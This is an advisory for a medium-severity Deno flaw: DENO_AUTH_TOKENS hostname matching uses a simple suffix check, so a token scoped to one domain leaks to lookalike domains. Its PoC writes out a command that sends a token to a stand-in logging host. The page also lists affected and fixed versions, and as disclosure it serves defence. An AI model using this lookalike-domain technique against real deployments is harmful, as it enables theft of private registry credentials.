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MEDIUM4.6

GHSA-5frw-4rwq-xhcr

Deno's improper suffix match testing for DENO_AUTH_TOKENS

Details

### Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.

### Details

[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.

### PoC

- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain

### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

Are you affected?

Enter the version of the package you're using.

Affected packages

crates.io/deno
Introduced in: 1.8.0Fixed in: 1.40.4

Upgrade deno to 1.40.4 or newer (ecosystem crates.io).

References